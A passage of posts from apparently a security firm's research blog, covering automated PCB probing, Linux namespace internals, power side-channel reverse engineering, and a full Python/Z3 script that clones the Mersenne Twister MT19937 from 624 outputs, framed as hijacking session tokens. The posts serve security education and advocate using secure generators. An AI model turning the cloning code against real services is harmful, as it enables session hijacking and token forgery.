By measuring electrical signal characteristics during runtime in the next step, it is possible to identify communication buses in an automated way. This is especially useful if the chip identification step in the early analysis stage failed. There already exist some tools to identify common interfaces like JTAG. One popular tool that falls into this category is the JTAGulator [3] developed by Joe Grand. This tool can identify JTAG debugging interfaces automatically within a range of up to 24 pins connected to the device. During a scan, the JTAGulator sends defined JTAG commands to a permutated subset of the connected pins and listening on the other pins for a valid response. The tool can also assist in (semi-)automated UART pin identification.

With all the collected information about the PCB under test, automated security tests can then be performed. Applicable tests depend highly on the type of components that are used on a PCB. For example, an exposed serial interface might provide a login shell which allows for direct interaction with the operating system running on the embedded system. Data on communication interfaces like SPI or I²C can be passively sniffed or actively manipulated on-the-fly in a Man-in-the-Middle (MitM) setup. Debug interfaces can be checked for protection mechanisms or other security measures to name just a few.

Finally, the results of all performed analysis steps can be automatically documented and stored in a project-specific or central repository. When writing the final report, an analyst therefore has to consult only a single data source to access all relevant information. A single data repository also allows for easy collaboration as test results can be accessed simultaneously by many analysts. Analysis results can also be easily shared between projects. This enables building a common knowledge base which can reduce analysis time in future projects.

All the tasks shown in Figure 1 marked with a blue color can be done in a (semi-)automated way with the current version of the PROBoter platform. The framework focuses on tasks that require automated electrical probing and visual PCB analysis as these are the most repetitive and time-consuming ones. The analysis steps highlighted in green are currently not implemented but could be integrated in the framework in the future.

After the introduction of the idea behind the project, the next post of this series, called The PROBoter hardware platform , will focus on the heart of the PROBoter — a hardware platform for automated electrical probing and PCB image generation. The PROBoter features an auto-calibration routine which will also be described in detail.

Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

References / Credits

[1] https://github.com/schutzwerk/PROBoter

[2] http://dangerousprototypes.com/docs/Bus_Pirate

[3] http://www.grandideastudio.com/jtagulator/

[4] PROBoter demo video

[5] PROBoter paper https://doi.org/10.13154/294-8348

This work was sponsored by the BMBF project SecForCARs . We also want to thank igus GmbH for their support and providing hardware samples. The project was created at SCHUTZWERK GmbH (supervisors Dr. Bastian Könings & Msc. Heiko Ehret) in cooperation with Hochschule Kempten (examiners Prof. Dr. Elmar Böhler & Prof. Dr. rer. nat Stefan Frenz).

Linux Container Primitives: Namespaces Kernel View and Usage in Containerization

Philipp Schmied — Thu, 15 Oct 2020 08:56:10 +0100

After discussing the various types of namespaces in the previous part of the Linux Container Primitive series, this post describes the internals of namespaces in the Linux kernel. Also, practical use-cases for namespaces in terms of containerization are considered. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

Namespaces Kernel View

This section covers aspects of the Linux kernel code regarding the implementation of namespaces. For this, various points, such as tasks, credentials and namespace proxies are being taken into account. In the kernel source code, these are all represented by C structures [1]:

Namespaces Structures

From a kernel point of view, processes are often called tasks. The kernel keeps track of them by storing task information in a doubly linked list. This list is called task list and contains elements of the task_struct type, as defined in linux/sched.h. These structures act as task descriptors and contain all relevant information on a task, for example:

The process identifier (pid_t pid)
Managed file descriptors (files_struct *files)
Pointer to the parent task (task_struct *parent)
Namespace proxy (nsproxy *nsproxy)
Task credentials (cred *cred)

Using the credential information listed above, the Linux kernel manages the associated ownership information of certain objects, such as files, sockets and tasks. Upon requesting an action to be performed on an object, for example writing to a file, the kernel executes a security check in order to determine whether a user is allowed to perform an action in regard to the task’s associated credentials. The cred structure is defined in linux/cred.h and contains a user_namespace pointer. This is required because credentials are relative to the specific user namespace that’s currently active.

To associate a task to the namespace it currently runs in, the nsproxy kernel structure contains a pointer to each per-process namespace. The PID and user namespace are an exception: The pid_ns_for_children pointer is the PID namespace the children of the process will use. The currently active PID namespace for a task can be found in the task_active_pid_ns pointer. Moreover, the user namespace is a part of the cred structure as seen above.

For an example of the linked kernel structures, consider the association of a task to a specific UTS namespace in the figure [1] below:

Namespaces UTS Structures

This implies that other parts of the kernel code also have to be aware of namespaces, e.g. when returning a hostname upon accessing this information from a task. This is implemented by modifying the original code of gethostname in order to read the hostname of the current namespace and not from the system’s hostname. The namespace unaware version of this function is listed below:

[...]
i = 1 + strlen(
system_utsname.nodename);
[...]
if (copy_to_user(
name,
system_utsname.nodename,
i))
[...]

The modified version for namespaces follows below:


[...]
u = utsname();
i = 1 + strlen(u->nodename);
[...]
memcpy(tmp, u->nodename, i);
[...]
if (copy_to_user(name, tmp,
i)
)
[...]

The call to utsname is being used in namespace aware versions of the gethostname call to determine the desired hostname value using the nsproxy kernel structure mentioned above:

static inline struct new_utsname *utsname(void)
{
return &current->nsproxy->uts_ns->name;
}

Upon creating a child process, the elements of the nsproxy structure will be copied as the child will reside in the exact same namespaces the parent lives in. This can be observed in the copy_process function called in do_fork. By using copy_namespaces, the members of the parent’s nsproxy structure are being duplicated:

static struct nsproxy *create_new_namespaces(unsigned long flags,
struct task_struct *tsk, struct user_namespace *user_ns,
struct fs_struct *new_fs) {
struct nsproxy *new_nsp;
int err;
// Create a new namespace proxy
 new_nsp = create_nsproxy();
[...]
// Copy the existing UTS namespace (among others)
 new_nsp->uts_ns = copy_utsname(flags, user_ns,
tsk->nsproxy->uts_ns);
[...]
}

Upon using unshare, the ksys_unshare function is being executed. This calls unshare_nsproxy_namespaces which effectively leads to the nsproxy structure being copied, modified according to the unshare call and replaced as soon as one element of the structure is being modified.

Every nsproxy structure contains a count element. This counter keeps track of how many tasks refer to the same nsproxy. After a task terminates, the count value of the associated nsproxy gets decremented and in case there’s no other task using a specific nsproxy, it gets freed along with all contained namespaces:

void free_nsproxy(struct nsproxy *ns) {
// Check if the namespace is still in use, free if unsued
 if (ns->mnt_ns)
put_mnt_ns(ns->mnt_ns);
if (ns->uts_ns)
put_uts_ns(ns->uts_ns);
if (ns->ipc_ns)
put_ipc_ns(ns->ipc_ns);
if (ns->pid_ns_for_children)
put_pid_ns(ns->pid_ns_for_children);
put_cgroup_ns(ns->cgroup_ns);
put_net(ns->net_ns);
kmem_cache_free(nsproxy_cachep, ns);
}

The put_*_ns functions seen above are responsible for destroying unused namespaces of a specific type. Of course, this only happens in case no other task uses the particular namespace anymore.

When entering a namespace using setns, the function switch_task_namespaces is being used:

void switch_task_namespaces(struct task_struct *p,
struct nsproxy *new) {
struct nsproxy *ns;
[...]
// lock the task before switching namespace
 task_lock(p);
// switch namespace
 ns = p->nsproxy;
p->nsproxy = new;
task_unlock(p);
// delete the old namespace proxy if unused
 if (ns && atomic_dec_and_test(&ns->count))
free_nsproxy(ns);
}

Moving a task to a specific namespace can be as simple as setting the respective pointers of the nsproxy structure.

Usage in Containerization

Both LXC and Docker apply a standard namespace configuration in case no further configuration is supplied. This involves setting up a new namespace for each type that has been discussed in this chapter and that’s also supported by the kernel. Specific namespace configuration can be applied using the Docker CLI and LXC configuration files.

Additional configuration may include supplying a specific namespace a container is joining. For example, the --net=host option disables creating a new network namespace for a Docker container, allowing it to join the initial network namespace. Therefore no network isolation is in place and for instance localhost in a container points to localhost of the host, creating a behavior as if a process is running without containerization in regard to its available network environment. This allows flexible setups by allowing the user to choose the isolated resources freely.

Docker configures user namespaces in a way that maps a non-existent UID as root in a container. Therefore, escalating to another user namespace by abusing a potential vulnerability does not add any privileges [2]. This is being performed by using the /etc/sub{u, g}id files. By creating a subordinate ID mapping in these files, a range of non-existing IDs is assigned to each real user of the host. This ensures that the ranges do not overlap and are in fact disjunct. Using this range non-existing users are being mapped into a container, starting from a zero value which corresponds to root.

Next post in series

Continue reading the next article in this series An Introduction to Control Groups
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Linux Containers: Basic Concepts
2 - Isolate containers with a user namespace
Title Image by Francesco Ungaro/Unsplash

Attacking a random number generator

Dr. Henning Kopp — Mon, 12 Oct 2020 09:14:16 +0200

In software dealing with security, randomness is often necessary to generate keys or tokens for resetting passwords or identifying sessions. There, randomness is required to be unpredictable for an attacker. However, sometimes developers do not use cryptographically secure pseudo random number generators (CSPRNG) in this scenario. Instead, they utilize faster pseudorandom number generators (PRNG) which are usually used for Monte-Carlo simulations. These PRNGs, such as Python’s random.random() do not offer unpredictability and are random in the sense of no statistical relationships between their outputs.

Consequently, the question arises how hard it is to attack a common (not cryptographically secure) random number generator. We focus on analyzing the Mersenne Twister MT19937 which is the most widely used PRNG. Our approach uses an SMT solver to clone a given instance of MT19937 given 624 consecutive outputs. This attack succeeds in under ten seconds on commodity hardware. Therefore, we conclude that using a PRNG where a CSPRNG is needed represents a significant risk and may be easily exploitable.

Introduction

In statistical programming, say for Monte-Carlo simulations, random numbers are needed to simulate random events. To achieve this, usually so-called pseudorandom number generators (PRNGs) are used. Contrary to their name these are not random but deterministic algorithms depending on a starting value (seed) that outputs a sequence of numbers that ‘behave randomly’. In particular, the output sequence should be distributed uniformly and have no trivial relationships. This is sufficient for numerical simulations, as numerical simulations do not interact with the PRNG in an adversarial fashion. However, in the case of cryptography this is not enough as an attacker will try to attack the PRNG in order to, e.g., steal money or forge signatures. In cryptography, randomness is important for various tasks such as generating keys for encryption or TLS sessions. The notion of randomness in the field of cryptography is used in the sense that the outputs should be unpredictable. This additional requirement is usually not covered for common PRNGs.

When auditing a code base from a security standpoint, a common mistake is the usage of a PRNG instead of a cryptographically secure pseudorandom number (CSPRNG). This may be due to a lack of knowledge of the developer or because PRNGs are usually more efficient than CSPRNGs. The usage of a PRNG instead of a CSRPNG is easy to detect given access to the source code, but the associated risk is well-understood only in the cryptographic community. Therefore, we want to show how easy it is to break a PRNG. For this purpose, we provide code to clone an instance of MT19937 – by far the most widely used PRNG – given 624 consecutive outputs.

A possible attack scenario is as follows. Assume a web server uses MT19937 for generating session tokens. An attacker can query the server for a sequence of 624 outputs by repeatedly logging in and out and recording the session tokens. From these outputs the attacker may be able to clone the PRNG and generate the next outputs and consequently the next session tokens. As a result, the attacker is able to hijack all future sessions as long as its cloned PRNG is manually synchronized with the PRNG on the server.

Preliminaries

Our analysis focuses on the Mersenne Twister . This is the most widely used pseudorandom number generator (PRNG). We focus on the version MT19937, which has a period of 2^19937−1. It is used by default in many libraries and programs such as PHP, Python, Ruby, Microsoft Excel, and many more.

Note that even though Python uses MT19937 internally, we reimplement it in pure Python. The implementation that is actually used in Python is done within a C module (see https:/ / github.com/ python/ cpython/ blob/ 3.8/ Modules/ _randommodule.c ). While our attack works on Pythons random.random(), the presentation of the attack is more straightforward when attacking a reimplementation of MT19937 in pure Python.

The Mersenne Twister MT19937 has an internal state consisting of 624 32-bit integers which is periodically updated. Additionally, the Mersenne Twister contains some static parameters.

class mersenne_rng(object):
def __init__(self, seed=5489):
self.state = [0]*624
self.f = 1812433253
self.m = 397
self.u = 11
self.s = 7
self.b = 0x9D2C5680
self.t = 15
self.c = 0xEFC60000
self.l = 18
self.index = 624
self.lower_mask = (1 << 31)-1
self.upper_mask = 1 << 31

After an output is requested, one of the internal state integers is updated. As MT19937 is a generalized feedback shift register, the integer is updated by assigning a function of the other state variables to it. This state update is called twisting and is shown below.

def twist(self):
for i in range(624):
temp = self.int_32(
(self.state[i] & self.upper_mask)+(self.state[(i+1) % 624] & self.lower_mask))
temp_shift = temp >> 1
if temp % 2 != 0:
temp_shift = temp_shift ^ 0x9908b0df
self.state[i] = self.state[(i+self.m) % 624] ^ temp_shift
self.index = 0

The output of MT19937 is computed by applying a function on a single state integer. This function is usually called temper. It implements a multiplication of a state bit with a tempered matrix to improve the statistical properties of the output. In particular, the purpose of transforming an internal state integer to an output by tempering is not performed to increase security. The temper function is shown below.

def temper(self, in_value):
y = in_value
y = y ^ (y >> self.u)
y = y ^ ((y << self.s) & self.b)
y = y ^ ((y << self.t) & self.c)
y = y ^ (y >> self.l)
return y

The Attack

As each output is a tempered state integer, the outputs correspond to the internal state of MT19937. The tempering function can be computationally inverted, in the sense that a preimage can be found. Consequently, we can recover an internal state that would produce the same sequence of outputs. Note that we cannot find ‘the’ preimage as tempering is not injective. Thus, if we have 624 outputs we can ‘untemper’ them and get the (a) complete internal state of MT19937. We implement the untempering by using the SMT solver Z3 . An SMT solver is basically a program that can solve equations in a satisfiability modulo theory. Our approach uses a system of equations with bit vectors in order to untemper the output, as shown below.

from z3 import *
def untemper(out):
"""
 This is the untemper function, i.e., the inverse of temper. This
 is solved automatically using the SMT solver Z3. I could probably
 do it by hand, but there is a certain elegance in untempering symbolically.
 """
y1 = BitVec('y1', 32)
y2 = BitVec('y2', 32)
y3 = BitVec('y3', 32)
y4 = BitVec('y4', 32)
y = BitVecVal(out, 32)
s = Solver()
equations = [
y2 == y1 ^ (LShR(y1, 11)),
y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
y == y4 ^ (LShR(y4, 18))
]
s.add(equations)
s.check()
return s.model()[y1].as_long()

Observations

Even though we used an SMT solver which is usually considered slow for cloning an instance of MT19937, the running time is practical. On a current Lenovo Thinkpad laptop cloning takes under ten seconds. Of course optimizations are possible, but ten seconds is usually fast enough for an attack.

Interestingly, the tempering function is not injective. This means that multiple internal states produce the same sequence of outputs. When we clone MT19937 we do not necessarily get the same internal state, but we can get a different state that produces the same sequence of outputs. The future outputs of both, the cloned and the original Mersenne Twister are the same.

We tried computing the seed from these states, but some of these states do not correspond to a seed at all. Consequently, seed recovery from the internal state integers is hard and should instead be done directly from the outputs. Fortunately, a full seed recovery is often not necessary, as for most scenarios it is enough to clone the generator. The generated outputs of the cloned MT19937 are the same as for the original MT19937.

Conclusion

We showed that it is practical to clone a PRNG. Consequently, when developing software, care should be taken to use a CSPRNG when necessary. CSPRNGs produce outputs that are unpredictable under an appropriate attacker model, whereas PRNGs are optimized for speed.

References

The implementation of MT19937 that we used: https://github.com/james727/MTP
Cloning MT19937 is one of the cryptopals challenges . Consequently there are other solutions to this problem out on the Internet such as this one .
The original PRNG in Python is available here . We did not use that one directly, because it is a C-module inside of Python and thus is not easy to access directly.
Title picture: Photo by Pixabay from Pexels

Code

Below is the complete Python code. Alternatively, it can be downloaded here .

#!/usr/bin/env python
# Randomness is the true foundation of mathematics.
# -- Gregory Chaitin
# This code clones a pseudorandom number generator (PRNG). The
# attacked PRNG is the Mersenne Twister (MT19937)
# (https://en.wikipedia.org/wiki/Mersenne_Twister) as it is used nearly
# everywhere.
# The internal state of MT19937 consists of 624 32-bit integers. Each of
# those correspond to an output. In particular, there is a temper
# function that maps an integer of the internal state to an output. This
# function is invertible. I.e., there is a function "untemper" that can
# even be computed analytically.
# If I have 624 consecutive numbers from an MT19937 output, I
# can recover the whole internal state.
# I use the implementation of MT19937 from here:
# https://github.com/james727/MTP
from z3 import *
# heavily based on https://github.com/james727/MTP
# Usage:
# generator = mersenne_rng(seed = 123)
# random_number = generator.get_random_number()
class mersenne_rng(object):
def __init__(self, seed=5489):
self.state = [0]*624
self.f = 1812433253
self.m = 397
self.u = 11
self.s = 7
self.b = 0x9D2C5680
self.t = 15
self.c = 0xEFC60000
self.l = 18
self.index = 624
self.lower_mask = (1 << 31)-1
self.upper_mask = 1 << 31
# update state
self.state[0] = seed
for i in range(1, 624):
self.state[i] = self.int_32(
self.f*(self.state[i-1] ^ (self.state[i-1] >> 30)) + i)
def twist(self):
for i in range(624):
temp = self.int_32(
(self.state[i] & self.upper_mask)+(self.state[(i+1) % 624] & self.lower_mask))
temp_shift = temp >> 1
if temp % 2 != 0:
temp_shift = temp_shift ^ 0x9908b0df
self.state[i] = self.state[(i+self.m) % 624] ^ temp_shift
self.index = 0
def temper(self, in_value):
y = in_value
y = y ^ (y >> self.u)
y = y ^ ((y << self.s) & self.b)
y = y ^ ((y << self.t) & self.c)
y = y ^ (y >> self.l)
return y
def get_random_number(self):
if self.index >= 624:
self.twist()
out = self.temper(self.state[self.index])
self.index += 1
return self.int_32(out)
def int_32(self, number):
return int(0xFFFFFFFF & number)
# compare with
# https://blog.infosectcbr.com.au/2019/08/cryptopals-challenge-23-clone-mt19937.html
def untemper(out):
"""
 This is the untemper function, i.e., the inverse of temper. This
 is solved automatically using the SMT solver Z3. I could prpbably
 do it by hand, but there is a certain elegance in untempering symbolically.
 """
y1 = BitVec('y1', 32)
y2 = BitVec('y2', 32)
y3 = BitVec('y3', 32)
y4 = BitVec('y4', 32)
y = BitVecVal(out, 32)
s = Solver()
equations = [
y2 == y1 ^ (LShR(y1, 11)),
y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
y == y4 ^ (LShR(y4, 18))
]
s.add(equations)
s.check()
return s.model()[y1].as_long()
def recover_state_mt(numbers):
"""
 This function recovers the internal state of MT19937 given a
 sequence of outputs. Note that there can be multiple states of an
 MT19937 that yield the same sequence of outputs.
 """
state = []
for n in numbers[0:624]:
state.append(untemper(n))
return state
def main():
"""
 This function tests the implementation.
 We clone the RNG from its output and compare the next generated
 outputs of the real and the cloned PRNG. Then, we try to recover
 the seed.
 """
rng = mersenne_rng(1337)
print(f"real internal state of PRNG: {rng.state[0:10]} ...")
random_nums = []
print("generating random numbers")
for i in range(624):
random_nums.append(rng.get_random_number())
print(f"generated numbers: {random_nums[0:10]} ... ")
print("recover internal state of PRNG")
recovered_state = recover_state_mt(random_nums)
print(f"recovered internal state: {recovered_state[0:10]} ... ")
print("cloning PRNG")
cloned_rng = mersenne_rng()
cloned_rng.state = recovered_state
print("check equality of next 1000 outputs from the real and cloned rng")
for i in range(1000):
assert(cloned_rng.get_random_number() == rng.get_random_number())
print('Success!')
if __name__ == "__main__":
main()

Linux Container Primitives: User Namespaces

Philipp Schmied — Tue, 08 Sep 2020 08:56:10 +0100

In the previous part of the Linux Container Primitive series, the PID and network namespaces were discussed. This post covers one of the most important namespace types in detail – the user namespace. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

User Namespaces

This namespace type introduces mapping user and group IDs and the isolation of capabilities per-namespace. For instance, a process can run with a non-zero UID outside of a user namespace while having a UID of zero in a namespace. This ultimately enables unprivileged users to have root privileges in isolated environments. Moreover, this is the only namespace type not requiring the CAP_SYS_ADMIN capability, allowing unprivileged users to create this namespace type.

By mapping the UID in the namespace to the original UID, all changes and actions introduced by a user will be mapped to the set of privileges a user holds in the parent namespace. This prevents actions in the global system context that the user normally would not be allowed to perform. This includes sending signals to processes outside of the current namespace and accessing files [1]. For example, a user with root privileges in a namespace is not able to read the /etc/shadow file because the original privileges do not allow to do so. The same applies to the mapping of GID values. Applied changes, for example creating new files, will be shown as originating from the user outside of the namespace. Likewise, calling stat will map IDs in the opposite direction in order to create a correlation in regard to the applied mappings.

This namespace type can also be nested, similar to PID namespaces. Using ioctl operations it’s possible to inspect the relationships between different user namespaces.

By default, a process only has a specific capability in a user namespace in case it’s a member of the user namespace and the capability is present in the corresponding capability set.

Linux capabilities are aware of user namespaces as can be seen in the function has_ns_capability of kernel/capability.c: With this function the kernel is able to check whether a process, as represented by a task_struct in the kernel code, has a capability in a specific user namespace. By default, the first process in a new user namespace is granted a full set of capabilities in that namespace. While having all capabilities in the user namespace, the process does not have any capabilities in the parent user namespace. This means:

A process with all capabilities in a user namespace is able to perform privileged operations on resources that are solely governed by this specific user namespace.
The same process is not able to perform changes to resources governed by the parent namespace, the initial namespace or outside of namespaces. For example even with CAP_SYS_TIME in the user namespace it’s not possible to alter the system clock because this is not governed by a namespace type as of now and therefore CAP_SYS_TIME in the initial namespace is required in this example.

In case a process has the CAP_SYS_ADMIN capability it’s possible for it to enter an arbitrary already existing user namespace using setns. In that case, this process also gains a full capability set in the entered namespace. Also, if a process possesses a capability in a parent user namespace, it also has this capability in all child namespaces. All processes that run with the same UID as the process that created a user namespace have a full capability set in a namespace and all of its children. This can be verified by creating two namespaces as siblings. Processes in the parent namespace are able to use setns to switch to each of the namespaces. However, it’s not possible for one of the child namespaces to do switch to a sibling namespace because of the lack of CAP_SYS_ADMIN in the target namespace.

In the scenario of containers it’s common practice to reduce the set of available capabilities a container and all its processes may have. The reduced capability set that’s in place by default for Docker containers is present in the OCI specification’s source code [2]. Missing capabilities can be added and removed on demand when starting a new container – for simple use-cases the pre-defined set can serve as a secure base. All capabilities can be granted to a process with the privileged flag although its use should be evaluated carefully in terms of security.

Without reducing the capability set or by granting all privileges to a container, drastic changes to a system and its state may be employed in case of compromise. This includes:

Loading custom kernel modules
Tracing arbitrary processes to interfere with their program flow or to leak sensitive information
Changing the ownership of arbitrary files
Send arbitrary signals to processes
Spoof network packets using raw sockets

As the list above suggests, reducing the capability set via user namespaces is crucial for containerization. In cases where untrusted code is being executed in containers or compromised containers are part of the threat model, changes to the host system must not be possible without explicitly allowing this kind of modification.

Every process in a user namespace has two files which can be used to perform a UID and GID mapping:

/proc/<PID>/uid_map
/proc/<PID>/gid_map

By default, these files are empty. The kernel expects lines following the format

ID-inside-ns ID-outside-ns length

to be present in these files. The length parameter is used to create a range of possible IDs, starting from ID-inside-ns respectively ID-outside-ns with the maximum value according to the length field value. In case no mapping is being performed for an ID, the value of /proc/sys/kernel/overflow{u, g}id is used. This causes an ID to be mapped to the nobody ID. Also, the kernel silently prevents elevating privileges when set-user-ID binaries are being executed. Please note that an ID mapping can only be performed once and is limited to a maximum of 340 lines.

Consider the listing below which helps to understand the mapping process:

int run(void *) {
while (true) {
std::cout << "[Child] EUID/EUID "
<< geteuid()
<< "/" << geteuid()
<< std::endl;
}
return 0;
}
int main(int argc, char const *argv[]) {
[...]
childPid = clone(run, childStackTop, CLONE_NEWUSER, 0);
std::cout << "[Parent] Child PID: " << childPid << std::endl;
sleep(5);
// echo "0 1000 1" >> /proc/<PID>/uid_map
 std::string cmd = "echo '0 " +
std::to_string(getuid()) +
" 1' >> /proc/" +
std::to_string(childPid) +
"/uid_map";
system(cmd.c_str());
while (true) { [...] }
[...]
return 0;
}

The code spawns a child process that prints its effective UID and GID values in an endless loop. After five seconds have passed, the parent process will perform a UID mapping in order to map the root user in the new namespace to the user executing this code. This produces the following output:

[Parent] Child PID: 22338
[Child] EUID/EUID 65534/65534
[...] // five seconds pass, mapping is done
[Child] EUID/EUID 0/0
[...]

This produces the same UID mapping as executing unshare -r /bin/bash does. With the new mapping values it’s now possible for the kernel to check the privileges a user possesses in the namespace by mapping the ID values back to the original values and performing permission checks with the values outside of the namespace. One of the use-cases for this is to allow unprivileged users on the host to be privileged in a container. After some additional configuration, this for example enables these users to configure parts of the container and install software packages. Container engines like Docker perform this task by default.

There exist certain additional rules for applying UID/GID mappings:

The UID mapping file is being owned by the user that created the namespace. Because of this, only this user and root are able to write to this file. However, there’s an exception as mentioned below.
To write to the mapping files, the capability CAP_SET{U, G}ID has to be present in the context of the target process.
If the data to be written to one of the files only contains a single line: The initial process in a user namespace is allowed to map its own effective UID/GID values from within the namespace.
Otherwise: Arbitrary mappings can be added by a process residing in the parent namespace.

Depending on the namespace a process resides in, there exist differences in how the ID-outside-ns values are being interpreted. Consider the figure below illustrating this scenario. A user with UID 1000 creates two namespaces with different ID mappings. After that, the initial processes of both namespaces read the applied mappings of each other:

User Mappings

Consider the initial process writing to its own mapping file: To map the user identifier 1000 to its root user, a namespace has to use the same configuration as the one which namespace 1 receives above. This results in the ID-outside-ns value having to be interpreted as a UID of the parent namespace in case two processes reside in the same namespace.

However, if they are in different namespaces, as seen above, something else can be observed: ID-outside-ns is interpreted as being relative to the namespace the process that’s being read from is being placed in. Namespace 1 reads 200:0:1 from namespace 2 – this means that the UID 0 in namespace 1 corresponds to the ID 200 of namespace 2 and both originate from the user identifier 1000. The same applies to namespace 2 the other way around.

It’s possible to combine user namespaces with other namespace types. This enables users to create namespaces that would require CAP_SYS_ADMIN without being privileged. To accomplish this, one can use clone and a combination of CLONE_NEWUSER and other clone flags. The kernel processes the flag to create a new user namespace first and processes the remaining CLONE_NEW* flags inside the new user namespace.

Being privileged in a user namespace does not imply superuser access on the whole system. Nevertheless, the ability to perform actions an unprivileged user would not be able to execute without user namespaces also broadens the attack surface. For example unprivileged users are able to execute certain mount operations that can be the target of kernel exploits [3]. There may remain more potential security issues regarding user namespaces to be uncovered in the future. For example, it was previously discovered that the combination of user namespaces and the CLONE_FS flag can lead to a privilege escalation issue [4]. More recently it was discovered that when the limit for the number UID/GID mappings a namespace can have was increased from 5 to 340, a security issue [5] was introduced: When switching to different data structures to store the mappings in the kernel once the number of mappings exceeds five, this data is being accessed in a wrong way. This results in processes of nested user namespace being able to access files being owned by other namespaces, e.g. /etc/shadow of the initial user namespace.

Next post in series

Continue reading the next article in this series Namespaces Kernel View and Usage in Containerization
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Namespaces in operation, part 5: User namespaces
2 - OCI defaults.go
3 - kernel: tmpfs use-after-free
4 - Anatomy of a user namespaces vulnerability
5 - Linux: broken uid/gid mapping for nested user namespaces with >5 ranges
Title Image by Tom Fisk / Pexels (cropped)

Power analysis based software reverse engineering assisted by fuzzing II

Simon Diepold — Thu, 03 Sep 2020 09:00:23 +0200

In the previous post a setup and a technique to extract a representative section of a powertrace of a specific instruction of a STM32F3 processor were described. This section is called a “template”. These templates should later be used to identify instructions via a power sidechannel and reconstruct the flow of an unknown program on a controller that can not be dumped via JTAG. In this part of our poweranalysis series the extracted templates from the previous post will be analyzed to determine whether they are representative enough to reverse engineer entire programs from a powertrace. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released:

Goals and template extraction process
Template analysis and reverse engineering
Fuzzing based on reconstructed flow

Is the powertrace unique to one specific chip?

To reverse engineer a program from a controller that can not be programmed, the templates from another chip of the same series have to be portable. In order to test that the templates are portable between multiple controllers of the same series, an instruction series has been recorded on two STM32F3s. The tested instructions used in this example contained a series of one thousand random mathematical instructions. The recorded traces of this series are shown in the following plot.

the signal from two chips running the same program

Both look very similar besides some minor variations. If both are subtracted from each other the following signal is obtained:

the signal from two chips running the same program subtracted

This difference is nearly as low as the difference between two recordings from the same chip. So a portability of the templates can be assumed.

Can arguments be detected?

Unfortunately not. The following plot shows for example an add instructions with different arguments. Although the traces have some minor variations, they could not be reliably correlated with a specific argument.

Recorded Templates of an add instruction with several arguments

This problem might be solved with a higher resolution oscilloscope or machine learning to spot differences that a human could not.

How distinguishable are the Templates?

After some samples have been recorded, it has to be checked that they are distinguishable from each other. To accomplish this the same recorded instruction series can be correlated against all templates. In the following example a series of five ASR (arithmetical shift right) instructions, including some initialization and deinitialization code, is correlated with various templates.

series of asr instructions correlated with various templates

It can be assumed that at about sample number 400 a jump into the series occurs. The following five instructions match as expected to the ASR instruction. But if a series of five LSL (logical shift left) instructions is correlated with the templates some occurrences are mismatched with ASR instructions.

series of lsl instructions correlated with various templates

The same behavior can be seen with other ALU (arithmetic logic unit) instructions. The conclusion here is, that instructions that are processed by the same functional unit in the microcontroller can be mismatched. But instructions that are processed by different processing units can be distinguished easily. For example memory instructions:

series of ALU instructions correlated with the templates of memory instruction

As it can be seen in the plot, no memory operation has been associated with the area of the add series.

Reconstructing a program

For program — especially program flow — reconstruction there is no need to determine each instruction and each argument precisely. It is enough to detect jumps and then compare the traces of the executed codeblocks. If they correlate and have a similar length they could be assumed equal. This information could be used to reconstruct program loops. To validate this theory we use simple password checking function as an example.

A password checking function in c

If the password “a” is entered the following graph can be reconstructed, when each edge is a detected jump and each node is a unique codeblock that does not correlate good with the others.

reconstructed program flow of the input "a"

No loop is visible and a linear program flow is reconstructed, as expected from the source code. But if for example an input is given that is matching the first symbol of the password (like “ccc”) a pass of a loop becomes visible.

reconstructed program flow of the input "ccc"

Such a clear representation of the programs flow can not always be expected. Sometimes jumps are not or falsely detected. Also the matching of codeblocks is not an easy task. If a codeblock contains a conditional jump it might be detected as a smaller block when the jump is executed and as a big block when the jump is not executed. And if blocks are always matched and aligned with the smallest block possible then all blocks fragment into tiny blocks of one to three instructions. The improvement of block matching algorithms is a current task of our research.

The next article in this series ‘‘Fuzzing based on reconstructed flow’’ will be published soon.
Follow us on Twitter , LinkedIn , Xing to stay up-to-date

References / Credits

The work was sponsored by the BMBF project SecForCARs and created at SCHUTZWERK GmbH (supervisor Dr. Bastian Könings & Msc. Heiko Ehret) in cooperation with the Institute of Distributed Systems at Ulm University (referee: Prof. Dr. Frank Kargl, supervisor Dr. Rens van der Heijden).

Linux Container Primitives: PID and Network Namespaces

Philipp Schmied — Mon, 24 Aug 2020 09:56:10 +0100

After discussing the mount namespace and an information leak issue in Docker in the previous blog post , this part illustrates the PID and network namespace types. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

PID Namespaces

